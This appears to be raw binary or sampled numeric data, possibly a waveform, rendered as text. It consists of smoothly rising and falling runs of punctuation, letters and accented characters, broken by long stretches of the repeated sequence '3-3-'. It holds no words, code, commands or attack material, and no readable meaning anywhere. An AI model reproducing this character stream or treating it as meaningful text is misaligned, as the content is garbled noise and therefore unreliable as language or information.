``^^\[[ZYXWWUUQSOQNPLOKLHJFHDFAC>A=@:>8;786644221//-,+*)('%$##!"      #!$#&&''*(++.,0/10427597:9<;?>@?CAECHEKGNIOKPMSNTPVRYUZV]X_Za\b^c`ebhdielgnjqlrnvqyt{u~wx{´Ķŷƺżǽɿ̿ʾɽǻƺĸ÷}|{yxvut}s|rzpzoynwmuktjrhpgoendndmckbj`h_g^f\d\cZbX`W_V^U[TYTYSWRVQVOUNRKPJPHOGOGOELCKAI@H?G>E>E<C;A;@:?8?6;4:4939281807/6/6.6-5-5-5-5,5,5,4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4.4.4.4.3-3-3-3-3.3.3.2.2-4-5-5-5.6.6/6/707181:3;4<5=6>8?:A;A;C=D>D?H@IBIBKDLDMENFOIPJRJSLTMUNWPYRZS\T]V^W_WaXbZc[d\f\g^h`iakbmdnepeqgrisjtkwmxnyozp|r}r}svwwyz|~·ĸŹƻǼɼʾ˿ɽȼƺŹ÷µ}zx}v{txqvotnqlojlhhfedcb`a^_]]\ZZVYTWSVQTPRMPKNILFIDGBF@E?B==<<9:886543200.--+*)(''&%$#!      !!$$&%('*),,.-0/11537586;8<;>=@?BAFDGEIGLIOLRNSOTPVRYTZV\X_Za]c_e`gbidjekhnjplrmtpxszt|wy{~öŸƹȺɻʽɽɼǻƹĸö~||zxwuu~r|qzpznxmvltktjrhpgpendlcjai`h^h^h]e\dZbYaX`V^V^T\SZQYPXPUNRNSMQKPJPIOHLEJDJBIAI@I?F>D<B;B:A9>7?6=6;5:49391615/5/4.4-4-3,3,3,3,4,4,4,4,4,4,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4,4,4-4-4-4-4-4-4.5.5/70709284:4<6=7=8>9A:B;C<E>E?G?H@ICJCLDMFNGOIQJRLSMUNWPXQYQ[S\T^U_V`WaXbZd[e]g^g_j`kalbmdnfqgrisiukwlwmxm{p|q|r~suwxz{{}¶·ķŹƺɼʾ̿ʽȼȻƹķõ~zw}u{sxquormplmjihggeedcc`a]`[^Y]WZVWSUQTORMPKOIMGKEHDDBC@@>><;:987654411//.-,+*)''&$#""!      "!%$''))++.,0.20526476:8<:=<@=B@DBFDHFKHMJOLRNTPVSWTYV[W]Z_\a^d`fchdjflhmjolqmtpvrxt{v~y|~¶÷ƹǻʼ˾̿̿ʽʼǻĸ÷õ~}|zxxu}s{r{qzpxnwlujsjriqhngmdmcjbi`g_g_e]d[cZbZaX`W^U]U\SZQXQWOVMTLSLRJOINHNGLEJDJBIAG?F?E=E;C;C9@9?7=6<5;4:392614/4.4.4.3.3-3-3,3,3,3,3,3,3,3,3,3,3,3,2+3-4.3-3-3-3-3-3-3-3-3-3-4.4.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,4.4.4.4.4.4.4.3-3-3-4.4/50618193:3<5<6=7>8@:A;B;C<E>F?G@IAICKDMEMGOIQJQKRLUMWOXPYR[R\T]U_W`XbYc[d[e\f^g_h`kblcldnfpgqhritkvlwmxoyq|r}suvwy{{|~÷ŷǺɼ˽̿˾ȼǺƹŸ÷¶~|{y}wzuvqroomnlljjhifhbfad_b]`[^Y[WYUWSUQTORMPKNIJGIEFDDBA?>=<;:9967553311//-,+*((''%$#"      !#!%#&$)',*-,/.1/527486;8<;=<@>B?CAFCIFLHMJOLSOSPVRWTYV[X]Y_\`^c`ebidjfkhmjolqnspvrxu{w}y{~µöĸŹǻȼ˾ʿɽȼǺƹŸĶ¶~}{{yxwv~t|syrzoxnumulsjqhohmemeldjbgaf^f^d]b[aYaY_X^V\U\TZSYQXPVOUNTLRKPIOHMFLEKDJBHBGAF?D>D=C<A:A9@8?6<5=4:3826150504.3-3-3.2-2-2-2-2-2-3,3,3,3,3,3,3-3-3-3-3-3-3-3,3,3,3,3,3,3,3,3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,3,3,3-3-3-3-3-3-3-2-2-2-2-2-2-2.2.2.3.3-3-4.50617293:4;5<6=7>8@:@;B<C>D>G@HBHBJCLELENFOIPJQKTLUNVOXQ[S\U\U_V^WaYaYb[d\e]f_haiblcldnfpgrisjslvlvnxpyq{r}t}t~vwyz||~µ÷Ÿƺɼʽ̿̿̿˾ȼƻŹ÷¶~zx{vxsvqsoplnjmhlgjficfab]_\_[\YYVXTVSTPROPMOJMJKGGEECCAA>@<=;;9978473432/0--++)(&&$#"!      "!$#&%)',)-+0-2/416275:7;9><A=C@EBHDIFKHNJPLRNTPVRWSXV[X^Z_\a_cadcgeiglimkpmqosqurwtzvz|}÷ĸŹǺɽʾʿɽȼǺƸĶô~|{yxv~v}u{szryqxovmslsjqiohoflekcichag`e_d]b[aZ_Y_X]VZV[TYSYRWPVOUNRMRKPJNHNFLFJDICIBHAF?E=E=C<A:?8>7>7<4;2:281706/6/4.4.4.3-3-3-3-2.2-2-2-2-2-2-3,3,3,3,3,3-3-3-3-3-3-3-3-3,3,3,3,3,3,3,3,3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,3,3,3-3-3-3-3-3-2-2-2-2-2-2-2-2-2-2-2-3-3-3-3-3-4.4.5050609292:3:5<6>8?9A;C<D=F>F?GAHBKDKEMGNGOHPJRKTMVOWPYQYS[T\U\V_W^YaZb\d\e^f_gaibkdlemgpgoirksltnvnxpyrzr|s}uwxyz|~´÷ĸƺǻȼʽ̿ʾɼǺŹĶô|x~v|tyrwpsopmokmilhjfhddaa^^\\Z[YYWWUVRUPRNQLNKMILGIEFBCAA>?<=:;8978462411..,,*)((%&$$""      !"!$#%&('**-+/-2/306395:7;8=;@=B?DBGCIFLHNJPLQNTPVRXSYU\X^Z_\b^e_fagcifjhliolqnspvsyv{x~z|~÷ĸƺȻɽ˾ͿʾȽƻƺĸ÷µ~|zxw~v|u{szqxqwountlskrjpingmekdich`f_e^d]c[bZ`Y_X\V[UZTXRVPTOUNSMRLQKPJNHMFLEJDHBHAF@D>C=B<B;@:?8>7=6<4:381816/6/6.5.4-3-3-2,2,2,2,3-3-3-3-2-2-2-2-2-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,3,3,3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,3,3-3-3-3-3-3-3-2.2.2.2.2.2.2-3,3,3,3,3,3,3,2,2,2,3-3-3-4.3-3.4.506192:4;5<6>7?9@:A;B<E>E?F@IBJCKDLENGOIPJRKSMUNUOVQYRYT[U\V^W`YaZb[d]f_f`hajbidlemgnhpiqjrltmvnwpyr{r|t}uvxyz|~~¶ķƹǺǻɼʾͿ˽ȺǹƷĵ²{y~xzvwtuqtpqmnjlhjfhdebcab``^^[\Y[VXTWSTQSORMPKMHIFGDEBC?A>>=>:;8:68553300./+,**((%&$#"!!   " #"&$('*)+*.-0/20427496:8>;?=A?DAGCHEJHLIOLQNTPUQVSYU[W]Y_[a^e`fbhdkfkglinkpmsovryt}x~z{}·ĸƹǻɽ̿˾ʽɻȻƹø·}|zyxw}u|syrxqwpuntlrlqjpingmflejciah`f^d]c[aZ`Y_X^V\U[TZSVQVOUNSMQKPJOINHMGLEKEIBHAG?D>C=C<@;>9=7<6;5:3929180706/6.6.4-4-4-3-3-3-3-1+2,2,2,3-3-3-3-3-2-2-2-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,3,3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,3-3-4-4-4-3-3-3-3-2.2.2.2.2.2-3-4,4,4,4,3,3,3-3-3-3-3-3-3-2,2,2-3-3.5/5/708192:3;4=5=6>9?:@<C<E?F@HAIBJDKEMFNHOIPJQLSMTNUOWQXRZT[U^V_W`YaZc\d]e_f`gaickckemgohpirkslumwowpzr|s|t}vwyy{}~µ·Ÿǻɽʾ̾˾ʼȺƷŶĵô³|z}x{wyuvqsnplnjlhjghegddac^`\_Z]YZVXTVRUPSNOKNJLHJFHDECCAA>?<=::89553402//--++)('&&$#"!     ! $"&%('+)-+/-1031547697;:=;>=B@DBGEIGLIMKOMROTQVSWUYW[X^[_]b_dagdjfkhmjpkqmsnupwszu}wz|øŹǻȼʽ̿˿ɽȼǻƹŷöµ~|{zxw~u}t{szqxpvnumtlrjpiogngmekcibhag_e^c\c[aZ_X^V\U[TZRYQXPVOTNRLQJPJNHMFLEJDICHAG@F?D=C<A:@9>8=6;5:49271605.5-5-5.5.5-5-5-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3-3-3-3-3-3-3-3-3-3-3-4-5,5,5,3-3-3-3-3-2-2-2.2.2.4-5,5,5,5,4-3-3-3-3,3,3,3,3,3.3.2-2-2-3-3-5.5.6/7/81:192:3;4<6>7?:B;C<D=F>F?HAIBKCLEMFNHPJQKSMTMUNVPXQZR\T]U^V`XaYb[d\e]f_g`hajcldmfohphqjskumvoxoyqzs|t~tvxyz|}~¶ĸƹǻȼɽʿ˾ɼȻƹŸö|~y~w{uwqupsnqlnklijgidfbdab^`\^Z[XYVWSUQSORNQMNJKHHFFDDAB??==::88563523/0..,++)((&%%#!   !#"%#&%*(+*/,1.41537587;8<;>=A?BACCHFJHMKOMRNSQURXTZW\Y^[_^c^daechejgmjolpmrouqwrzt|u~xz}ķŹǹȼʽͿʾȼƺŹĸ¶~}{zxwvu}s{ryqxovmtlrjriqhnfmdkciahag_f^d]c[bZaY`X^U\T[SYQWOVOUMTLRKQJOHNFMEKCIBGAF?F>D=B<A:@8?7>7=5;39281705/5.4.3-3,5,5,5,5,5,4-3-3-3-3-3-3-3-2,3,3,3,4,5,5,5,5,5,5,5,5,5,4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3-3-3-3-3-3-3-3-3-3-4-5,5,5,5,4,3,3-3-3-3-2-2-2-4-5-5-5-5,5,5,5,5,5,5,5,5,3-3-3-2,2-2-3-3-3-4-5-5-6.7.6/6/6/6092:4;5=6?8@9@9C;D<E=F@GAJBKDLENGOHPIQKSKUMWOWPXQ[S\T]U^W_XaYbZe\e]g^h`ibkcldnfohpjriskumvnyozq{s}s~tvxy{|}~µķŸƹȻɽʿʾɽǻĹ·{yx|vytxrtprnplmjkhjghdfcc_a^_\\YZWYUWSURRPPNMLLIJGGEDBB@?>=;;9:88553311//--,**''&$#"!   ! $#&%('*),+0-2/326486;8<9><A>BADCGEIGKILKPMRPURVUYVZX]Z_\b_eafcgejglinkpmsouqvsxu|vy{}öĶŸǻɽʾ˿̿ʾǻƺĸ¶}}{zxvu~s}r|qzpynunulskripgnflclcjbh`f^e]d]bZaY`X_W]U[TZSXPWPUNSLQKPJPHOGMFLEKCJAH@F?D=C;C;B9A8>7=6;4;281806/5-4-3-2+2,3,2,3,4.6-5-5,5,4-3-4.4.3-3-3-3-3-2+3,3,4,5,5,5,5,5,5,5,5,5,4,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3-3-3-3-3-3-3-3-3-3-4-5,5,5,5,4,3,3-3-3-3-2-2-3-3-5-5-5-5,5,5,5,5,5,5,5,5,3-3,2,2,2-2-3-3-4.5-5,5,5,5-4-2,3-3-6.6.6/7092;3=5=5>7?8A:C<E=F?H@JAKBLDLFNFOHQJRLRLUNVOVOXQYR[T]V`WaYaZc[e]f^g_hajcldmengoirisktlvmxoyp{r}stvwyz|~´õķƺǼȽʿ˿ɽȼƺŹ·|zw|uzswqsoqmolnjkhifgddbb``]^Z[XYVWTTSSPPOOMMKKHIGEDCA@??==<:9977452210/-,+*(&&$$"" !    !" 